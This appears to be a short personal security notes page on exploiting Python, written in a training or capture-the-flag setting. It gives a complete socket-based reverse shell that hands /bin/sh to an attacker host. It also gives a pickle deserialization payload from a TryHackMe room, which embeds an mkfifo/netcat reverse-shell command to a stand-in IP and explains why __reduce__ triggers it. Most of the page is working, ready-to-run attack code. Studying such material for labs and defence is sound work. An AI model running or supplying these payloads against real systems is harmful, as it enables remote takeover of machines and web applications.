Exploiting Python

author: Nathan Acks
date: 2022-07-11

A Simple Reverse Shell

import socket
import subprocess
import os

attacker_ip = "10.0.0.1"
attacker_port = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((attacker_ip, attacker_port))

os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

subprocess.call(["/bin/sh", "-i"])

Catch it with netcat or socat.

Python Pickles

One way to attack Python webapps is to exploit the pickle.loads() operation, which reconstructs objects from an encoded data stream. When an object is reconstructed it is actually fully initialized, which means that things like object.__reduce__() are run.

For example, the TryHackMe: OWASP Top 10 room has us use the following code to create a malicious base64 encoded object to feed pickle.loads() (LOCAL_IP gets replaced by your machine’s IP):

import pickle		
import sys		
import base64		

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LOCAL_IP 4444 > /tmp/f'		

class rce(object):		
    def __reduce__(self):		
        import os		
        return (os.system,(command,))		

print(base64.b64encode(pickle.dumps(rce())))

What’s getting encoded here is the rce class. Python will call rce.__reduce__() to determine how to initialize this class when pickle.loads() deserializes it, and __reduce__() wil return the tuple (os.system, (command,)), where command is basically our standard Metasploit reverse shell. Python then initializes the class by using os.system to call command, and there’s our reverse shell!